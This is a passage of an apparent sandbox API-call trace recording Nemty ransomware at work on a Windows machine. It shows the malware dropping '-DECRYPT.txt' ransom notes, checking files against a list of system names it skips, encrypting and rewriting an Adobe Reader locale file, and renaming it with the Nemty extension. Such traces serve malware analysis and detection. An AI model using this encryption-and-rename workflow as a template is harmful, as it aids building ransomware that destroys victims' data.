lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94288 [0184.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.336] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f94330 [0184.336] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0184.336] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0184.338] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94330 | out: hHeap=0x4f90000) returned 1 [0184.338] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.338] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0184.339] CloseHandle (hObject=0x254) returned 1 [0184.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94200 | out: hHeap=0x4f90000) returned 1 [0184.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94200 [0184.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94288 [0184.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94310 [0184.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0184.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.339] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.339] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.339] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.340] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0184.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0184.340] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.340] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.340] WriteFile (in: hFile=0x254, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0184.341] CloseHandle (hObject=0x254) returned 1 [0184.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0184.341] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0184.341] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0184.341] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\*.*", lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2183bbb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2183bbb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423ab0 [0184.341] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0184.341] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x2183bbb0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x2183bbb0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0184.342] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0184.342] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0184.342] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="accessibility.SVE", cAlternateFileName="ACCESS~1.SVE")) returned 1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2=".") returned 1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="..") returned 1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="...") returned 1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="windows") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="rsa") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="NTDETECT.COM") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="ntldr") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="MSDOS.SYS") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="IO.SYS") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="boot.ini") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="boot.ini") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="AUTOEXEC.BAT") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="ntuser.dat") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="desktop.ini") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="CONFIG.SYS") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="RECYCLER") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="BOOTSECT.BAK") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="bootmgr") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="programdata") returned -1 [0184.342] lstrcmpiW (lpString1="accessibility.SVE", lpString2="appdata") returned -1 [0184.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SVE", lpUsedDefaultChar=0x0) returned 17 [0184.342] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0184.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.342] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.342] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SVE", lpUsedDefaultChar=0x0) returned 17 [0184.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0184.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SVE", lpUsedDefaultChar=0x0) returned 17 [0184.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0184.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0184.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.343] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.SVE", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.SVE", lpUsedDefaultChar=0x0) returned 17 [0184.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0184.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0184.343] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0184.343] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0184.343] Sleep (dwMilliseconds=0x5) [0184.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21887e70, dwHighDateTime=0x1d561e8)) [0184.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x21887e70, dwHighDateTime=0x1d561e8)) [0184.359] GetLastError () returned 0xb7 [0184.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0184.359] GetLastError () returned 0xb7 [0184.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0184.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0184.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0184.359] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0184.359] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0184.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0184.359] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="+eqlVOn+QtRKNqK2BdWKC+o/0WQINeKYCFO8OxMuDI+COxsZpUkeYdfG04rGfJBk\r\nr9/jY4qGOJ7sjqOK1MwUOmQNL80z9z0T8kng/WGreLLgjD7yiF/4hZToMybQhkhM\r\nKeadddVds/5SmLUhgOusLeUjzpk5KvAb/xINa/zRk9PvXIxIARKxGhwwyzxCPpjD\r\nBE62A/Yf5XA+HViLT4oEep4WNXyW95xVdjODPS6v19xSM1Nr79RHhxoHuSXBpMQO\r\nmZNrH9g+wM5b72n6QKqCWjIkT9pLCuZTUfhaVjw1b7MTndCM6okogoQwsyxxg6Hh\r\n0rsOpxWTjMXScnZTk4aAzw==\r\n", pcchString=0x653e5dc) returned 1 [0184.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0184.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0184.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0184.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0184.359] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\accessibility.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0184.360] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=41984) returned 1 [0184.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa400) returned 0x6352c48 [0184.360] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.360] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa400, lpOverlapped=0x0) returned 1 [0184.365] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0184.365] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa400, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa400, lpOverlapped=0x0) returned 1 [0184.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0184.366] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41984, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa400 [0184.366] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0184.366] CloseHandle (hObject=0x2e8) returned 1 [0184.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0184.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0184.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0184.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0184.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0184.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0184.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0184.366] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0184.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0184.366] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0184.366] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\accessibility.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\sv_SE\\accessibility.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\sv_se\\accessibility.sve._nemty_kgobjgd_")) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.369] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.369] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82c16540, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.SVE", cAlternateFileName="")) returned 1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2=".") returned 1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="..") returned 1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="...") returned 1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="windows") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="$RECYCLE.BIN") returned 1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="rsa") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="NTDETECT.COM") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="ntldr") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="MSDOS.SYS") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="IO.SYS") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="boot.ini") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="boot.ini") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="AUTOEXEC.BAT") returned -1 [0184.369] lstrcmpiW (lpString1="Acroform.SVE", lpString2="ntuser.dat") returned -1 [0184.370] lstrcmpiW (lpString1="Acroform.SVE", lpString2="desktop.ini") returned -1 [0184.370] lstrcmpiW (lpString1="Acroform.SVE", lpString2="CONFIG.SYS") returned -1 [0184.370] lstrcmpiW (lpString1="Acroform.SVE", lpString2="RECYCLER") returned -1 [0184.370] lstrcmpiW (lpString1="Acroform.SVE", lpString2="BOOTSECT.BAK") returned -1 [0184.370] lstrcmpiW (lpString1="Acroform.SVE", lpString2="bootmgr") returned -1 [0184.370] lstrcmpiW (lpString1="Acroform.SVE", lpString2="programdata") returned -1 [0184.370] lstrcmpiW (lpString1="Acroform.SVE", lpString2="appdata") returned -1 [0184.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0184.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0184.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0184.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0184.370] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.SVE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.SVE", lpUsedDefaultChar=0x0) returned 12 [0184.370] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0184.370] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 